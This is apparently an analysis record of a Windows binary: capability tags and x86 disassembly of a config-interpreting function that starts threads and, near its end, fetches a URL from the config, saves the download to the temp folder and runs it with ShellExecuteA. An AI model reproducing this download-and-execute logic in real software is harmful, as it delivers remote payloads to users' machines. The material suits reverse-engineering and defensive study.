Function at 0x401800
Capabilities:
Create process on windows
Create thread
Delete file
Get common file path

Disassembly:
sub esp, 0x820
mov ecx, dword [esp + 0x82c]
push ebx
xor eax, eax
push ebp
mov al, byte [ecx]
push esi
push edi
push eax
push 0x346
mov dword [esp + 0x28], 0
call fcn.00405620
mov edi, dword [esp + 0x83c]
add esp, 8
test edi, edi
je 0x401884
mov esi, dword [esp + 0x838]
test esi, esi
je 0x401884
push esi
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x401884
mov edx, dword [edi + 4]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push edx
push esi
push edi
push eax
lea eax, [esp + 0x440]
push str._p__p__d__d
push eax
call ebx
mov eax, dword [edi + 4]
add esp, 0x18
cmp esi, eax
jge 0x401892
push eax
push esi
lea ecx, [esp + 0x38]
push str.ConfigInterpret___sanity_error_2:__d__d
push ecx
call ebx
add esp, 0x10
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x820
ret
lea ebx, [edi + 8]
add eax, ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], eax
mov eax, ebx
add ebx, 4
mov eax, dword [eax]
cmp eax, 0x3e8
jg 0x401884
cmp dword [0x4160fc], eax
jl 0x401884
mov eax, ebx
add ebx, 4
mov edx, dword [eax]
push edx
push 0x419dc8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, ebx
add ebx, 4
mov eax, dword [ebp]
test eax, eax
jle 0x40190b
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x419dcc], eax
mov ecx, dword [ebp]
mov edi, eax
mov eax, ecx
mov esi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp]
mov edi, dword [esp + 0x834]
add ebx, eax
mov ebp, ebx
add ebx, 4
mov eax, dword [ebp]
test eax, eax
jle 0x40194e
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x419dd0], eax
mov ecx, dword [ebp]
mov edx, ecx
mov esi, ebx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp]
mov edi, dword [esp + 0x834]
add ebx, eax
mov eax, ebx
add ebx, 4
mov eax, dword [eax]
test eax, eax
je 0x40198d
push eax
push 0x416088
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401660
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4015b0
push 0
push 0
call esi
mov esi, ebx
add ebx, 4
lea ecx, [esp + 0x430]
mov dword [esp + 0x1c], ebx
mov eax, dword [esi]
mov dword [esp + 0x24], esi
push eax
push str.ConfigInterpret:_Config_contains__d_feeds
push ecx
add ebx, 4
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esi]
add esp, 0xc
test eax, eax
mov dword [esp + 0x18], 0
jle 0x401b80
mov ecx, dword [esp + 0x2c]
mov ebp, ebx
add ebx, 0x30
cmp ebx, ecx
jae 0x401884
cmp dword [ebp + 0x10], 0x1f4
jg 0x401d61
mov edx, dword [ebp + 4]
mov eax, 0x1388
cmp edx, eax
jg 0x401d61
cmp dword [ebp + 8], eax
jg 0x401d61
mov edx, dword [ebp + 0x14]
add edx, 2
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov dword [esp + 0x14], eax
je 0x401884
mov ecx, dword [ebp + 0x14]
mov edi, eax
mov eax, ecx
mov esi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0x14]
add ebx, ecx
mov ecx, dword [ebp + 0x18]
add ecx, 2
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401884
mov ecx, dword [ebp + 0x18]
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
mov eax, dword [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0xc]
mov edi, dword [esp + 0x1c]
add ebx, ecx
push ecx
mov ecx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 4]
push eax
mov eax, dword [ebp + 0x24]
push ecx
mov ecx, dword [ebp + 0x20]
push edx
mov edx, dword [ebp + 0x1c]
push edi
push eax
push ecx
push edx
lea eax, [esp + 0x460]
push str.C__d_G__d_C__d_Feed__d:_Width:__d_Height:__d_Type:__d_Weight___d_String_Len:_d_____s____init_size:__d___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, ebx
xor ecx, ecx
add esp, 0x38
xor esi, esi
mov cl, byte [eax]
inc ebx
mov eax, ecx
test eax, eax
jle 0x401ae5
mov edx, dword [esp + 0x83c]
mov dl, byte [edx]
mov cl, byte [ebx]
cmp dl, cl
je 0x401adc
cmp cl, 0xfd
jne 0x401ae1
mov esi, 1
inc ebx
dec eax
jne 0x401ad1
mov eax, ebx
xor ecx, ecx
inc ebx
mov cl, byte [eax]
mov eax, ecx
test eax, eax
jle 0x401b05
mov edx, dword [esp + 0x83c]
mov cl, byte [edx]
cmp cl, byte [ebx]
jne 0x401b01
xor esi, esi
inc ebx
dec eax
jne 0x401afb
test esi, esi
je 0x401b44
mov ecx, dword [ebp + 0x28]
mov edx, dword [ebp + 0x2c]
mov eax, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 0x24]
push edx
mov edx, dword [ebp + 0x20]
push ecx
mov ecx, dword [ebp + 0x1c]
push edx
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [ebp + 0x10]
push eax
push ecx
mov ecx, dword [ebp + 4]
push eax
mov eax, dword [ebp + 8]
push edx
mov edx, dword [ebp]
push eax
push ecx
push edx
call fcn.00403e70
add esp, 0x34
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
push 0
call ebp
push eax
call esi
mov edx, dword [esp + 0x24]
inc edi
mov dword [esp + 0x18], edi
cmp edi, dword [edx]
jl 0x4019c8
mov edi, dword [esp + 0x834]
push 0x41a228
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x41a25c]
test eax, eax
jne 0x401b9c
mov dword [esp + 0x20], 1
push 0x41a228
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [esp + 0x20], 1
jne 0x401bc7
mov eax, dword [esp + 0x83c]
xor edx, edx
mov dl, byte [eax]
push edx
push 0x2e1
call fcn.00405620
add esp, 8
call fcn.00403d00
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x18], 0
cmp dword [ecx], 0
jle 0x401d20
mov ebp, ebx
add ebx, 0x24
mov edx, dword [ebp + 0x1c]
add edx, 2
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov edi, eax
mov eax, dword [ebp + 0x20]
add eax, 2
mov dword [esp + 0x14], edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
test edi, edi
mov dword [esp + 0x10], eax
je 0x401884
test eax, eax
je 0x401884
mov ecx, dword [ebp + 0x1c]
mov esi, ebx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x20]
add ebx, esi
mov edx, ecx
mov esi, ebx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0x20]
xor esi, esi
add ebx, ecx
mov ecx, ebx
inc ebx
mov dl, byte [ecx]
mov ecx, edx
test ecx, ecx
jle 0x401c8c
mov eax, dword [esp + 0x83c]
mov al, byte [eax]
mov dl, byte [ebx]
cmp al, dl
je 0x401c7f
cmp dl, 0xfd
jne 0x401c84
mov esi, 1
inc ebx
dec ecx
jne 0x401c74
mov eax, dword [esp + 0x10]
mov ecx, ebx
xor edx, edx
inc ebx
mov dl, byte [ecx]
mov ecx, edx
test ecx, ecx
jle 0x401cb0
mov eax, dword [esp + 0x83c]
mov dl, byte [eax]
cmp dl, byte [ebx]
jne 0x401ca8
xor esi, esi
inc ebx
dec ecx
jne 0x401ca2
mov eax, dword [esp + 0x10]
test esi, esi
je 0x401cde
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
push ecx
mov ecx, dword [ebp + 0x10]
push edx
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [ebp + 8]
push ecx
mov ecx, dword [ebp + 4]
push edx
mov edx, dword [ebp]
push eax
push ecx
push edx
call fcn.00403b30
add esp, 0x24
mov eax, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
push 0
call edi
push eax
call esi
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
inc eax
mov ecx, dword [edx]
mov dword [esp + 0x18], eax
cmp eax, ecx
jl 0x401be1
mov edi, dword [esp + 0x834]
call fcn.00403bc0
mov ebp, dword [edi + 4]
mov edx, dword [esp + 0x28]
mov eax, ebx
add ebx, 4
sub ebp, ebx
mov eax, dword [eax]
add ebp, edx
cmp ebp, eax
je 0x401d9e
push eax
push ebp
lea eax, [esp + 0x438]
push str.i__d__d_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x820
ret
cmp ebx, ecx
jae 0x401884
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 4]
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [esp + 0x1c]
push ecx
push edx
push eax
lea ecx, [esp + 0x440]
push str._d__d__d__d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x820
ret
test ebp, ebp
jle 0x401ed2
lea ecx, [ebp + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x401884
mov ecx, ebp
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
cmp ebp, 5
rep movsb byte es:[edi], byte [esi]
mov dword [0x4199a8], eax
mov dword [0x419dd8], ebp
jle 0x401ed2
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrA]
push str.1http:__
push eax
call ebx
mov esi, eax
test esi, esi
je 0x401ed2
mov cl, byte [esi - 1]
xor eax, eax
cmp cl, 0x31
push 0x4161a0
sete al
inc esi
mov edi, eax
push esi
call ebx
test eax, eax
je 0x401ed2
lea ecx, [esp + 0x1c]
push edi
push ecx
push esi
mov byte [eax], 0
call fcn.004049f0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401ed2
cmp dword [esp + 0x1c], 0x400
jbe 0x401ed2
lea edx, [esp + 0x30]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x30]
push edx
push 0x400
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.0040aa00
and eax, 0x800003ff
jns 0x401e79
dec eax
or eax, 0xfffffc00
inc eax
mov ecx, dword [0x4160fc]
lea edx, [eax + ecx + 0x201]
lea eax, [esp + 0x30]
push edx
push 0x41619c
push eax
call fcn.004012e0
add esp, 0xc
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0x1c]
push 0
push edx
lea eax, [esp + 0x38]
push esi
push eax
call fcn.00404950
add esp, 0x10
test eax, eax
je 0x401ed2
push 5
push 0
lea ecx, [esp + 0x38]
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0x419ddc
call esi
push 0x41a72c
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x820
ret